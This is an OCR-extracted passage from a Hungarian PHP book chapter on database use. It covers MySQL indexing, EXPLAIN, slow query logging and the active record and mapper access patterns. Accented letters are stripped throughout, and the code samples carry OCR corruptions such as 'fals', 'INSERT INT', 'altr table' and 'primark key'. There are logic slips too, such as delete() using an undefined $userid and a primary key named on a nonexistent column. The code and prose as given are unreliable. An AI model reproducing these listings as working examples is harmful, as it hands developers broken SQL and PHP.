Fejezetnk tovbbi rszben, hacsak kln nem jelznk mst, pldink a MySQL-re plnek. A legtbb adatbzis-kezel nmikpp eltr az SQL92-es nyelvi szabvnytl, gy a kd alkalmazsa eltt clszer ellenriznnk a nyelvtant rendszernk lersa alapjn.

Lehetsgnk van arra is, hogy tbb tbla adatait egyszerre rjk el, ha egy kzs mezvel sszekapcsoljuk azokat. Ilyen esetekben klnsen fontos az indexek hasznlata. Vegyk pldul az albbi, users nvre hallgat tblt:
CREATE TABLE users ( userid int(11) NOT NULL, username varchar(30) default NULL, password varchar(lO) default NULL, firstname varchar(30) default NULL, lastname varchar(30) default NULL, salutation varchar(30) default NULL, countrycode char(2) NOT NULL default 'us' );

Tovbb a countries tblt:


CREATE TABLE countries ( countrycode char(2) default NULL, name varchar(60) default NULL, capital varchar(60) default NULL );

12. fejezet Adatbzisok hasznlata

327

Most figyeljk meg a kvetkez lekrdezst, amely a felhasznl azonostja (user ID) alapjn kivlasztja a nevet (username) s az orszgot (country): SELECT username, name FROM users, countries WHERE userid = 1 AND users.countrycode = countries.countrycode; Ha nincsenek indexeink, teljes tblapsztzst kell vgeznn a kt tbla szorzatn. Ez 100 000 felhasznl s 239 orszg esetn 23 900 000 megvizsgland sort jelent, ami semmikppen sem nevezhet kevsnek. A keress hatkonyabb ttelre indexeket kell ksztennk a tblkhoz. Elszr is jelljk ki az elsdleges kulcsokat. A felhasznlk esetben a felhasznlazonost (userid) termszetes vlaszts, az orszgok esetben pedig hasznlhatjuk a ktbets ISO orszgkdot. Felttelezve, hogy elsdleges kulcsaink mezi valban egyediek, kiadhatjuk az albbi parancsot a tblk ltrehozst kveten:
mysql> altr table users add primary key(userid);

De a kszts kzben is elvgezhetjk ezt a munkt, az albbi mdon:


CREATE TABLE countries ( countrycode char(2) NOT NULL default 'us', name varchar(60) default NULL, capital varchar(60) default NULL, PRIMARY KEY (countrycode) );

Ha ezek utn el szeretnnk vgezni a keresst, elszr keressk meg az index szerint az egyez felhasznlazonostnak megfelel sort, majd nzzk meg a kapott felhasznl orszgkdjt, s ez alapjn keressk meg az orszgot a countries tblban. gy vgl sszesen egyetlen sort kellett megvizsglnunk, ami lssuk be - szmottev elrelps a 23,9 millihoz kpest.

Lekrdezsek vizsglata az EXPLAIN segtsgvel


A lekrdezs mikntjt az elz pldban egyszeren a jzan paraszti sz alapjn hatroztuk meg. Ezzel a mdszerrel az az egyetlen gond, hogy az adatbzis s a felhasznl nem ugyangy gondolkodik. Nha a lekrdezs optimalizlsrt felels eljrs hibzik, de elfordul az is, hogy a felhasznl hoz rossz dntst. Mivel vgeredmnyben az adatbzis hajtja vgre a lekrdezst, nyilvnval, hogy sajt vlemnye nyom a legtbbet a latban e tren. Radsul a szemlyes vizsglat idt rabl s nehz feladat, klnsen, ha a lekrdezsek a bonyolultabbak kzl valk.

328

PHP fejleszts felsfokon

Szerencsre a legtbb relcis adatbzis-kezel rendelkezsnkre bocstja az EXPLAIN SQL-utastst, mellyel megvizsglhatjuk a lekrdezs mkdsnek rszleteit. A pontos eredmny vltoz, attl fggen, milyen rendszert hasznlunk, de ltalnossgban annyi elmondhat, hogy megtudhatjuk belle, mely tblkat kapcsoljk ssze, mely indexeket hasznljk, valamint milyen kltsge van a lekrdezsek egyes rszeinek (a tblkon bell lekrdezett sorok szma stb.). Vegynk most egy, a gyakorlati letbl szrmaz pldt! Korbban az egyik webhelyemen szerepelt egy ltogatsi tbla, ami a felhasznlk ltogatsainak szmt s legutbbi ltogatsuk idejt trolta. A tbla gy festett:
CREATE TABLE visits ( userid int not null, last_visit timestamp, count int not null default 0, primark key(userid) );

A tblt rendesen a felhasznl bejelentkezsekor rtk el, s ilyenkor olvastuk ki a ltogatsok szmt s az utols ltogats dtumt (gy dvzlsknt kirhattuk, hogy n legutbb ....-kor jrt nlunk"). Az EXPLAIN az albbi eredmnyt adja e lekrdezs kapcsn:

Lthatjuk az elrt tblt (visits), a tblk sszekapcsolsnak tpust (const, mivel ez egy egytbls lekrdezs, gy nem volt szksg sszekapcsolsra), a hasznlhat kulcsok felsorolst (csak az elsdleges kulcs - PRIMARY - hasznlhat), az elz listrl kivlasztott kulcsot, a kulcs hosszt, valamint az eredmny elrshez szksges sorok becslt szmt. Ez nyilvnvalan hatkony lekrdezs, hiszen csak az elsdleges kulcsot vizsglja. Az alkalmazs fejldse sorn eljuthatunk oda, hogy szksgnk lesz az elmlt 24 ra ltogatinak szmra, amit szintn e tbla alapjn szeretnnk megkapni. Ezt az albbi lekrdezssel kvnjuk elrni:
SELECT count(*) FROM visits WHERE last_visit > NOW() - 86400;

12. fejezet Adatbzisok hasznlata

329

Az EXPLAIN ez esetben a kvetkez eredmnyt adja: mysql> explain select count(*) from visits where last_visit > now() - 86400;

Figyeljk meg, hogy lekrdezsnkhz nem ltezik olyan kulcs, amely segtene az eredmny elrsben, gy sajnos a teljes tblt t kell vizsglnunk - ez 511 517 sor sszevetst jelenti a WHERE zradkkal. Mindazonltal a lekrdezs hatkonyabb tehet, ha ksztnk egy indexet a visits tblhoz. Ezt kveten az albbi eredmnyt kapjuk: mysql> create index visits_lv on visits(last_visit); Query OK, 511517 rows affected ( 1 0 . 3 0 sec) Records: 511517 Duplicates: 0 Warnings: 0 mysql> explain select count(*) from visits where last_visit > now() - 8 64 00 ;

j indexnket teht sikeresen hasznlatba vettk, hatsa azonban sajnos korltozott (mivel naponta rengeteg felhasznl jelentkezik be a webhelyre). Jobb megoldshoz juthatunk, ha ksztnk egy napi szmlltblt, melyet a felhasznlk els aznapi bejelentkezsekor frisstnk (errl a felhasznl visits tblabeli bejegyzsbl rteslhetnk):
CREATE TABLE visit_summary ( day date, count int, primary key(date) ) ;

Melyik lekrdezst javtsuk?


A nagy alkalmazsok optimalizlsnak legnehezebb rsze az, amikor a javtand kdrszleteket keressk. Az adatbzisok esetben sincs ez mskpp: Ha tbb szz vagy tbb ezer lekrdezssel llunk szemben, ltfontossg, hogy tudjuk, melyeken rdemes javtani.

330

PHP fejleszts felsfokon

Minden relcis adatbzis-kezel rendelkezik valamilyen mdszerrel arra, hogy megtallja a gondot okoz lekrdezseket. A MySQL-ben e tren leghasznosabb segttrsunk a lass lekrdezsek naplja. Hasznlatnak belltshoz a MySQL belltsi fjljnak hrom rszlethez kell hozznylnunk. Az alapszint naplzst az albbi belltssal kapcsolhatjuk be:
log-slow-queries = /var/lib/mysql/slow-log

Ha nem adunk meg helyet, a lass lekrdezsek naplja kiszolglnv-slow. log nven az adatknyvtr gykerbe kerl. Az albbi belltssal azt adhatjuk meg, hny msodperces idtartam felett minsljn egy lekrdezs lassnak:
set-variable vagy long_query_time=5 (MySQL 4+) = long_query_time=5 (MySQL 3.x)

Vgezetl, ha szeretnnk, hogy a MySQL naplbejegyzst ksztsen minden olyan lekrdezsrl, ami nem hasznl indexeket, lltsuk be az albbiakat:
log-long-formt (MySQL 3,4.0) Vagy ezt: log-queries-not-using-indexes (MySQL 4.1+)

Mindezek utn, ha egy lekrdezs vgrehajtsa tovbb tart, mint a fent megadott id, illetve nem hasznl indexeket, az albbihoz hasonl bejegyzst kapunk:
select UNIX_TIMESTAMP(NOW())-UNIX_TIMESTAMP(MAX(last_visit)) FROM vists; # User@Host: user[user] @ db.omniti.net [10.0.0.1] # Query_time: 6 Lock_time: 0 Rows_sent: 1 Rows_examined: 511517

Ebbl megtudhatjuk, melyik lekrdezs futott, hny msodpercig tartott, hny sort kaptunk vissza, tovbb hny sort kellett megvizsglnia a feladat elvgzshez. j gyfeleim webhelyeinek optimalizlsnl els dolgom a lass lekrdezsek naplzsnak belltsa. A long_query_time rtkt kezdetben ltalban 10 msodpercben hatrozom meg, kijavtom a megjelen lekrdezseket, cskkentem az idkorltot, s jrakezdem az egszet. A cl minden komolyabb webhelynl az, hogy ezt az idkorltot 1

12. fejezet Adatbzisok hasznlata

331

msodpercre cskkenthessk, s a napl gy is res maradjon (itt felttelezzk, hogy nincsenek adatbnysz lekrdezsek, melyek adatbzisunkat frkszik - ha vannak, hagyjuk figyelmen kvl ket). A napl elemzshez nagy segtsget jelent a mysqldumpslow, ami sszefoglalja, s knnyen olvashat alakban, rendezetten trja elnk a lass lekrdezseket. A kapott bejegyzsek valjban azonos lekrdezsek csoportjait jelentik - a lekrdezs kdja mellett megkapjuk a naplba kerlt bejegyzsek szmt, az sszessgben eltlttt idt, s tovbbi adatokat. Lssunk egy rszletet az eredmnybl:
Count: 4 Time=0.25s (Is) Lock=0.00s ( O s ) root[root]@localhost SELECT * FROM users LIMIT N Count: 5 Time=0.20s (Is) Lock=0.OOs ( O s ) root[root]Slocalhost SELECT * FROM users Rows=3.5 (14),

Rows=5.0 (25),

Hasznlhatunk kapcsolkat is, melyekkel szablyozhatjuk a lekrdezsek rendezst s megjelentst. Ezekrl a mysqlsumpslow --help utastssal kaphatunk felvilgostst. Az indexeket nem hasznl lekrdezsek naplzsa is hasznos lehet, br jmagam ltalban nem veszem ignybe ezt a szolgltatst. Kisebb (nhny szz soros) tblk esetben az adatbzis-kezel ugyanolyan gyorsan ha nem gyorsabban - boldogul indexek nlkl, mint azokkal. A log-long- formt bekapcsolsa hasznos lehet, ha j krnyezetbe csppennk (vagy ha folyamatosan ellenrizni szeretnnk az alkalmazsban szerepl SQL kdot), de legtbbszr jobb, ha nem hagyjuk, hogy a sok SQL kd sszerondtsa a naplt.

Adatbzis-elrsi mintk
Ezek a mintk adjk meg, milyen mdokon rintkezhetnk az adatbzis-kezelvel a PHPben. Ez mindenekeltt azt jelenti, hogy meghatrozzk, hol s milyen mdon jelennek meg az SQL kdok a programban. A vlemnyek e tren meglehetsen vegyesek. Az egyik tbor szerint az adatelrs olyannyira alapvet rsze az alkalmazsnak, hogy az SQL s a PHP kd szabadon s minden korltozs nlkl sszevegythet, ha ppen egy lekrdezst kell elvgezni. Msrszrl, vannak olyanok is, akik gy vlik, az SQL kdot minl inkbb el kell rejteni a fejlesztk ell, s mindenfajta adatbzis-elrst valamilyen mly elvont rtegbe kell helyeznnk.

332

PHP fejleszts felsfokon

A magam rszrl egyik vlekedssel sem rtek egyet teljes mrtkben. Az els megkzeltsnl a legtbb gondot az jrapts s az jrahasznosts jelenti. A PHP fggvnyekhez hasonlan, ha egy kdrszlet tbbszr is elfordul az alkalmazsban, az esetleges szerkezeti vltoztatsoknl ezek mindegyikt vgig kell bngsznnk. Kdunk ezzel meglehetsen kezelhetetlenn vlik. Az elvonatkoztatssal szemben is knny rveket felhozni, hiszen alkalmazsval sokat veszthetnk. Ha valamit egy elvont rtegbe csomagolunk, minden bizonnyal vesztnk azokbl a finom szablyzsi lehetsgekbl, melyek eredetileg rendelkezsnkre lltak. Az SQL igen hatkony programnyelv, s elgg kzismert ahhoz, hogy a fejlesztk megrtsk s knyelmesen hasznljk. Kzpen maradva a kt szlssg kztt ppen elg mozgsternk addik. A kvetkezkben ngy adatbzis-elrsi mintt mutatunk be - a vletlen vagy ad hoc lekrdezseket, valamint az aktv rekord, a lekpez s az egyestett lekpez mintt -, melyekkel kielgthetjk a legegyszerbb feladatok ignyeit, de sikerrel oldhatunk meg bonyolult objektum-adat lekpezsi problmkat is.

Ad hoc lekrdezsek
A vletlen lekrdezsek {ad hoc lekrdezsek) szigor rtelemben vve nem alkotnak mintt, de a lertak gy is sok esetben hasznunkra lehetnek. Mindenekeltt fontos tudnunk, hogy ad hoc lekrdezs alatt olyan lekrdezst rtnk, melyet a kd egy bizonyos helyn egy meghatrozott feladat elvgzsre runk. gy pldul az albbi eljrsban szerepl lekrdezs, mellyel a users tblban az orszgot frisstjk, ad hoc jellegnek tekinthet:
function setUserCountryCode($userid, $countrycode) { $dbh = new DB_Mysql_Test; $query = "UPDATE users SET countrycode = :1 WHERE userid = :2"; $dbh->prepare($query)->execute($countrycode, $userid); }

A vletlen lekrdezsektl nem kell eleve tartanunk. St, mivel az ilyen megoldsok rendszerint egy adott, egyedi feladatra szletnek, hangolsuk (az SQL szintjn) knnyebb, mint az ltalnosabb megoldsok. Arra azonban gyelnnk kell, hogy az ilyen kdok szeretnek elszaporodni" alkalmazsainkban. Elszr csak egyet hasznlunk itt, majd mg egyet amott, vgl azutn oda juthatunk, hogy 20 klnbz lekrdezsnk lesz, melyek mind a users tbla countrycode oszlopt mdostjk. Ez valban gondot jelent, hiszen nagyon nehz mindezeket a kdrszleteket elrnnk, ha a users tblt trendezzk. Jmagam meglehetsen gyakran hasznlok ad hoc kdrszleteket, hasonlan szmos profi programozhoz. Ahhoz azonban, hogy kezelhetk legyenek, elvgzett feladataik s

12. fejezet Adatbzisok hasznlata

333

az ltaluk mdostott adatok szerint csoportostva kzpontostott knyvtrakban kell trolni ket. gy, ha a users tblt mdost lekrdezsek egyetlen fjlban, egy kzponti helyen tallhatk, a tbla trendezsnl is knnyebb dolgunk lesz.

Az aktv rekord minta


Gyakran elfordul, hogy olyan osztlyaink vannak, melyek kzvetlenl megfelelnek egy adatbzis sorainak. Ilyen esetekben rdemes sszektnnk valamikppen az objektum s az adatbzis elrst. Az aktv rekord minta ppen ezt teszi - egy objektum minden adatbzis-elrst egy osztlyba srti. Az aktv rekord minta lnyege, hogy az osztlyban szerepel egy insert (), egy update (), valamint egy delete () tagfggvny, melyekkel sszhangba hozhatjuk az objektumot a megfelel sorral. Rendelkeznk tovbb nhny keresfggvnnyel is, melyekkel objektumot kszthetnk a sorok tartalmbl, egy megadott vltoz alapjn. Lssunk most egy pldt. me a User osztly, amely a korbban megismert users tbra pl:
require_once "DB.inc"; class User { public $userid; public $username; public $firstname; public $lastname; public $salutation; public $countrycode;

public static function findByUsername($username) { $dbh = new DB_Mysql_Test; $query = "SELECT * from users WHERE username = :1"; list($userid) = $dbh->prepare($query)->execute($username) ->fetch_row(); if(!$userid) { throw new Exception("no such user"); } return new User($userid); } public function _ construct($userid = fals) { if(!$userid) { return; }

334

PHP fejleszts felsfokon

$dbh = new DB_Mysql_Test; $query = "SELECT * from users WHERE userid = :1"; $data = $dbh->prepare($query)->execute($userid)->fetch_assoc(); foreach( $data as $attr => $value ) { $this->$attr = $value; } } public function update() { if(!$this->userid) { throw new Exception("User needs userid to call update()"); } $query = "UPDATE users SET username = :1, firstname = :2, lastname = :3, salutation = :4, countrycode = :5 WHERE userid = :6"; $dbh = new DB_Mysql_Test; $dbh->prepare($query)->execute($this->username, $this->firstname, $this->lastname, $this->salutation, $this->countrycode, $this->userid) ; } public function insertO { if($this->userid) { throw new Exception("User object has a userid, can't insert"); } $query = "INSERT INT users (username, firstname, lastname, salutation, countrycode) VALUES(:1, :2, :3, :4, : 5) " ; $dbh = new DB_Mysql_Test; $dbh->prepare($query)->execute($this->username, $this->firstname, $this->lastname, $this->salutation, $this->countrycode); st ($this->userid) = $dbh->prepare("select last_insert_id()")->execute() ->fetch_row(); } public function delete() { if(!$this->userid) { throw new Exception("User object has no userid"); } $query = "DELETE FROM users WHERE userid = :1"; $dbh = new DB_Mysql_Test; $dbh->prepare($query)->execute($this->userid); } }

12. fejezet Adatbzisok hasznlata

335

A User osztly hasznlata egyszer. Ha egy felhasznlt pldnyostani szeretnnk az azonostja alapjn, csak adjuk t azt a konstruktornak: $user = new U s e r ( l ) ; Ha egy felhasznl adatait a neve alapjn szeretnnk megkeresni, az objektum ltrehozshoz a statikus f indByUsername tagfggvnyt hasznlhatjuk:
$user = User::findByUsername('george');

Ha rgztennk kell az objektum aktulis llapott, az update () tagfggvny hvsval tehetjk meg. Az albbi pldban sajt lakhelyemet Nmetorszgba helyezem t:
Suser = User::findByUsername('george'); $user->countrycode = 'de'; $user->update();

Ha egy teljesen j User objektumot ksztnk, pldnyostanunk kell, megadni a rszleteit (a $userid kivtelvel, melyet az adatbzis hatroz meg), majd meghvni az insert () tagfggvnyt. Az albbi kdrszlettel Zak Greant szmra ksztnk egy User objektumot:
$user = new User; $user->firstname = 'Zak'; $user->lastname = 'Greant'; $user->username = 'zak'; $user->countrycode = 'ca'; $user->salutation = 'M.'; $user->insert();

Az aktv rekord minta klnsen jl hasznlhat olyan osztlyok esetben, melyek egyszer kapcsolatban llnak egyes sorokkal az adatbzisbl. Egyszersge s elegancija npszerv teszi az egyszer adatmodellekben, gy nem meglep mdon szmos sajt munkmban is hasznlom.

A lekpez minta
Az aktv rekord minta felttelezi, hogy egyszerre csak egyetlen tblval dolgozunk. A gyakorlati letben azonban az adatbzis-szerkezet s az osztlyhierarchia gyakran egymstl fggetlenl fejldik. Ez amellett, hogy elkerlhetetlen, nem mindig kros hats. Az, hogy kln-kln talakthatjuk az adatbzist s az alkalmazst, valjban inkbb jttemny. A lekpez mintval olyan osztlyt kszthetnk, mellyel egy objektumot egy meghatrozott adatbzis-szerkezetbe menthetnk.

336

PHP fejleszts felsfokon

E minta legnagyobb elnye, hogy segtsgvel teljesen elvlaszthatjuk az objektumot az adatbzis szerkezettl. Az osztlynak gy semmit sem kell tudnia arrl, milyen alakban troldnak az adatai, gy nyugodtan haladhat a maga fejldsi tjn. Ez a minta azonban nemcsak teljesen levlasztott adatmodellekhez alkalmazhat. A legegyszerbb plda erre egy olyan aktv rekord osztly, melyrl levlasztottuk az adatbziselrsi eljrsokat. Erre mutatunk pldt a korbban megismert User osztly kt rszre bontsval - az egyik rsz (User) az alkalmazs kdjt tartalmazza, mg a msik (UserMapper) az User objektum s az adatbzis kzti adatcserrt felel:
require_once "DB.inc"; class User { public $userid; public $username; public $firstname; public $lastname; public $salutation; public $countrycode; public function __construct($userid = fals, $username = fals, $firstname = fals, $lastname = fals, $salutation = fals, $countrycode = fals) { $this->userid = $userid; $this->username = $username; $this->firstname = $firstname; $this->lastname = $lastname; $this->salutation = $salutation; $this->countrycode = $countrycode; } } class UserMapper { public static function findByUserid($userid) { $dbh = new DB_Mysql_Test; $query = "SELECT * FROM users WHERE userid = :1"; $data = $dbh->prepare($query)->execute($userid)->fetch_assoc(); if(!$data) { return fals; } return new User($userid, $data['username'], $data['firstname'], $data['lastname'], $data['salutation'], $data['countrycode']); }

12. fejezet Adatbzisok hasznlata

337

public static function findByUsername($username) { $dbh = new DB_Mysql_Test; $query = "SELECT * FROM users WHERE username = :1"; $data = $dbh->prepare($query)->execute($username)->fetch_assoc(); if(!$data) { return fals; } return new User($data['userid1] , $data['username'], $data['firstname'], $data['lastname'], $data['salutation'], $data['countrycode']); } public static function insert(User $user) { if($user->userid) { throw new Exception("User object has a userid, can't insert"); } $query = "INSERT INT users (username, firstname, lastname, salutation, countrycode) VALUES(:1, :2, : 3, : 4 , : 5 ) " ; $dbh = new DB_Mysql_Test ,$dbh->prepare($query)->execute($user->username, $user->firstname, $user->lastname, $user->salutation, $user->countrycode); list($user->userid) = $dbh->prepare("select last_insert_id()")->execute() ->fetch_row(); } public static function update(User $user) { if(!$user->userid) { throw new Exception("User needs userid to call update()"); } $query = "UPDATE users SET username = :1, firstname = :2, lastname = :3, salutation = :4, countrycode = :5 WHERE userid = :6"; $dbh = new DB_Mysql_Test; $dbh->prepare($query)->execute($user->username, $user->firstname, $user->lastname, $user->salutation, $user->countrycode, $user->userid); } public static function delete(User $user) { if ( !$user->userid) {

338

PHP fejleszts felsfokon

throw new Exception("User object has no userid"); } $query = "DELETE FROM users WHERE userid = :1"; $dbh = new DB_Mysql_Test; $dbh->prepare($query)->execute($userid) ; } }

A User objektum semmit nem tud arrl, milyen bejegyzsek felelnek meg a tartalmnak az adatbzisban. Ezrt ht, ha t kell alaktanunk az adatbzis szerkezett, nem is kell ehhez az objektumhoz hozznylnunk, elg a UserMapper-rel foglalkoznunk. Hasonlan, a User talaktsnl semmifle mdostsra nincs szksg az adatbzis szerkezetben. Vgeredmnyben teht a lekpez minta hasonlt a 2. fejezetben megismert illeszt minthoz - ez is kt dolgot kt ssze, melyeknek nem kell semmit tudniuk egymsrl. Itt a kvetkezk szerint llthatjuk vissza lakhelyemet az Egyeslt llamokra:
$user = UserMapper::findByUsername('george'); $user->countrycode = 'us'; UserMapper::update($user);

Az jrapts e minta hasznlata esetn igen egyszeren vgrehajthat. Tegyk fel pldul, hogy a User objektumban a felhasznl orszgnak ISO kdja helyett a nevt szeretnnk hasznlni. Az aktv rekord alkalmazsnl vagy a httrben lev users tblt kell mdostanunk, vagy el kell trnnk a minttl valamilyen ad hoc lekrdezssel vagy elrfggvnnyel. A lekpez mintban mindssze a UserMapper osztly trolsi eljrsait kell trnunk. Lssuk elz pldnkat az jrapts utn:
class User { public $userid; public $username; public $firstname; public $lastname; public $salutation; public $countryname; public function __construct($userid = fals, $username = fals, $firstname = fals, $lastname = fals, $salutation = fals, $countryname = fals) { $this->userid = $userid; $this->username = $username; $this->firstname = $firstname; $this->lastname = $lastname; $this->salutation = $salutation;

12. fejezet * Adatbzisok hasznlata

339

$this->countryname = $countryname; } } class UserMapper { public static function findByUserid($userid) { $dbh = new DB_Mysql_Test; $query = "SELECT * FROM users u, countries c WHERE userid = :1 AND u.countrycode = c.countrycode"; $data = $dbh->prepare($query)->execute($userid)->fetch_assoc(); if(!$data) { return fals; } return new User($userid, $data['username'], $data['firstname'], $data['lastname'], $data['salutation'], $data['name']); } public static function findByUsername($username) { $dbh = new DB_Mysql_Test; $query = "SELECT * FROM users u, countries c WHERE username = :1 AND u.countrycode = c.countrycode"; $data = $dbh->prepare($query)->execute($username)->fetch_assoc(); if(!$data) { return fals; } return new User($data['userid'], $data['username'], $data['firstname'], $data['lastname'], $data['salutation'], $data['name']); } public static function insert(User $user) { if ($user->userid) { throw new Exception("User object has a userid, can't insert"); } $dbh = new DB_Mysql_Test; $cc_query = "SELECT countrycode FROM countries WHERE name = :1"; list ($countrycode) = $dbh->prepare($cc_query)->execute($user->countryname) ->fetch_row(); if(!$countrycode) { throw new Exception("Invalid country specified"); }

340

PHP fejleszts felsfokon

$query = "INSERT INT users (username, firstname, lastname, salutation, countrycode) VALUES(:1, :2, :3 , :4 , : 5 ) " ; $dbh->prepare($query)->execute($user->username, $user->firstname, $user->lastname, $user->salutation, $countrycode) ; list($user->userid) = $dbh->prepare("select last_insert_id()")->execute() ->fetch_row(); } public static function update(User $user) { if ( !$user->userid) { throw new Exception("User needs userid to call update()"); } $dbh = new DB_Mysql_Test; $cc_query = "SELECT countrycode FROM countries WHERE name = : 1" ; list($countrycode) = $dbh->prepare($cc_query)->execute($user->countryname) ->fetch_row(); if(!$countrycode) { throw new Exception("Invalid country specified"); } $query = "UPDATE users SET username = :1, firstname = :2, lastname = :3, salutation = :4, countrycode = :5 WHERE userid = :6"; $dbh->prepare($query)->execute($user->username, $user~>firstname, $user->lastname, $user->salutation, $countrycode, $user->userid); } public static function delete(User $user) { if(!$user->userid) { throw new Exception("User object has no userid"); } $query = "DELETE FROM users WHERE userid = :1"; $dbh = new DB_Mysql_Test; $dbh->prepare($query)->execute($userid); } }

Figyeljk meg, hogy a User osztlyt a lehet legegyszerbben mdostottuk - eltvoltottuk a $countrycode tulajdonsgot, s beillesztettk a $countryname-et. Minden munkt a trolfggvnyekben vgeztnk. A f indByUsername () gy mdosult, hogy ez-

12. fejezet Adatbzisok hasznlata

341

utn nem csak a felhasznl rekordjt olvassa ki, hanem megkeresi a megfelel rekordot a countries tblban is. Hasonlan, az insert () s az update () tagfggvnyek is megkeresik az orszg kdjt, s ezt is frisstik. A lekpez minta elnyei az albbiak: Pldnkban a User osztly semmilyen gondot nem kellett fordtson a felhasznlk adatainak adatbzisbeli trolsra. Kvetkezskppen ebben az osztlyban semmifle SQL, illetve adatbzissal foglalkoz kdnak nem kell szerepelnie. Mindez jelentsen megknnyti az SQL kd hangolst, valamint a httradatbzis esetleges cserjt. Pldnkban a users tbla adatbzisbeli szerkezetnek nem kellett igazodnia a User osztly vltozsaihoz. Ez a sztvlaszts lehetv teszi, hogy az adatbzisfejleszts s az alkalmazs programozsa egymstl fggetlenl folyhasson. Elfordulhat persze, hogy az osztlyszerkezet bizonyos vltozsai cskkentik a lekpez osztly SQL kdjainak hatkonysgt, de az adatbzis szerkezetnek ezt kvet jraptse nem hat vissza a User osztlyra. A lekpez minta htultje a mkdshez szksges meglehetsen terjedelmes krnyezet. Ahhoz, hogy kvessk ezt a mintt, minden sszetett adattpushoz ksztennk kell egy lekpez osztlyt, ami megteremti a kapcsolatot az adatbzisbeli megfeleljvel. Nos, webes krnyezetben ez kiss tlzsnak tnik. Persze, hogy mennyire tlzs, azt valjban az alkalmazs mrete s bonyolultsga adja meg. Minl sszetettebb objektumokrl s lekpezsekrl van sz, s minl tbbszr hasznostjk jra a kdot, annl tbbet nyernk e rugalmas, br nagymret infrastruktrn.

Az egyestett lekpez minta


Az aktv rekord minta esetben az objektum kzvetlen kapcsolatban ll az adatbzissal, vagyis tartalmazza mindazokat a tagfggvnyeket, melyek segtsgvel elrheti s mdosthatja sajt megjelentst az adatbzisban. A lekpez mintban ezek a feladatok egy kls osztlyra hrulnak, ami gondokat jelenthet szmos PHP alkalmazsban. Egyszer alkalmazsokban ugyanis egy jabb rteg, ami elvlasztja az adatbzis megvalstst az alkalmazs kdjtl, kiss tlzsnak tnhet. Jelents kltsgekkel jr, s a kdot taln tlsgosan is bonyolultt teszi. Az egyestett lekpez minta valamifle kompromisszum a lekpez s az aktv rekord mintk kztt, amely laza csatolst ltest az osztly s a hozz tartoz adatbzisbeli szerkezet kztt gy, hogy az adatbzis elrshez szksges kdot bepti az osztly szerkezetbe. me, a User osztly megvalstsa az egyestett lekpez minta szellemben: class User {
public $userid; public $username;

342

PHP fejleszts felsfokon

public public public public

$firstname; $lastname; $salutation; $countryname;

public function _ construct($userid = fals) { $dbh = new DB_Mysql_Test; $query = "SELECT * FROM users u, countries c WHERE userid = :1 AND u.countrycode = c.countrycode"; $data = $dbh->prepare($query)->execute($userid)->fetch_assoc(); if(!$data) { throw new Exception("userid does not exist"); } $this->userid = $userid; $this->username = $data['username']; $this->firstname = $data['firstname']; $this->lastname = $data['lastname']; $this->salutation = $data['salutation']; $this->countryname = $data['name']; } public static function findByUsername($username) { $dbh = new DB_Mysql_Test; $query = "SELECT userid FROM users u WHERE username = :1"; list($userid) = $dbh->prepare($query)->execute($username) ->fetch_row(); if(!$userid) { throw new Exception("username does not exist"); } return new User($userid); } public function update() { if(!$this->userid) { throw new Exception ("User needs userid to call updateO"); } $dbh = new DB_Mysql_Test; $cc_query = "SELECT countrycode FROM countries WHERE name = :1"; list($countrycode) = $dbh->prepare($cc_query)->execute($this->countryname) * ->f etch_row() ; if(!$countrycode) { throw new Exception("Invalid country specified"); }

12. fejezet Adatbzisok hasznlata

343

$query = "UPDATE users SET username = :1, firstname = :2, lastname = :3, salutation = :4, countrycode = :5 WHERE userid = :6"; $dbh->prepare($query)->execute($this->username, $this->firstname, $this->lastname, $this->salutation, $countrycode, $this->userid); } /* frissts s trls */ // . . . }

A kd meglehetsen ismersnek tnhet, hiszen gyakorlatilag teljesen az aktv rekord minta alapjn kszlt User osztly, valamint a UserMapper osztly adatbzis-kezel kdjnak egyestsbl ll. Megltsom szerint az, hogy a lekpez rszt az osztly belsejben vagy klnll egysgknt valstjuk meg, csak programozsi stlus krdse. Amellett, hogy a tisztn lekpez minta elegancija vonz szmomra, az aktv rekord s az egyestett lekpez mintk megegyez fellete olyan egyszerv teszi az jraptst, hogy mgis ezeket alkalmazom a leggyakrabban.

Az adatbzis-elrs hatkonysgnak nvelse


A legtbb olyan alkalmazs esetben, melynek fejlesztsben rszt vettem, a teljestmny tern leginkbb az adatbzis-elrs jelentette a szk keresztmetszetet. Ennek oka egyszer: szmos webes alkalmazsban a tartalom dinamikus, s forrsa egy adatbzisban tallhat. Lehet villmgyors a hlzati elrs, az adatok letltse egy csatoln keresztl mindig lassabb lesz, mintha a helyi memribl olvasnnk ki azokat. A 9., 10. s 11. fejezetekben szmos mdszen tanultunk arra, mikppen nveljk alkalmazsaink teljestmnyt gyorstrak hasznlatval. Akrmilyen nagyszer gyorstrakat is hasznlunk azonban, fontos feladatunk, hogy az adatbzis-kapcsolatokat a lehet leggyorsabb tegyk. A kvetkezkben megismerkednk nhny mdszerrel, melyek segtenek a lekrdezsek teljestmnynek nvelsben.

Az eredmnyhalmaz korltozsa
A lekrdezsek teljestmnynek nvelsre az egyik legegyszerbb mdszer az eredmnyhalmaz korltozsa. Lssunk egy pldt! Tegyk fel, hogy van egy frumprogramunk, amelyben ki szeretnnk olvasni az N. s az N+M. kztti zeneteket. A frum adatait tartalmaz tbla a kvetkezkppen fest:
CREATE TABLE forum_entries ( id int not null aut increment, author varchar(60) not null, posted_at timestamp not null default now(). data text );

344

PHP fejleszts felsfokon

Az zenetek idblyegzk szerint rendezettek-s a bejegyzsek trlhetk, gy nem rhetnk clt, ha egyszeren a postzsi idblyegek tartomnyt prbljuk kivlasztani. Az ilyen tartomnyok kiolvassra gyakran az albbi kdot hasznljk:
function returnEntries($start, $numrows) { $entries = array(); $dbh = new DB_Mysql_Test; $query = "SELECT * FROM forum_entries ORDER BY posted_at"; $res = $dbh->execute($query); while($data = $res->fetch_assoc()) { if ( $i++ < $start II $i > $start + $numrows ) { continue; } array_push($entries, new Entry($data)); } return $entries; }

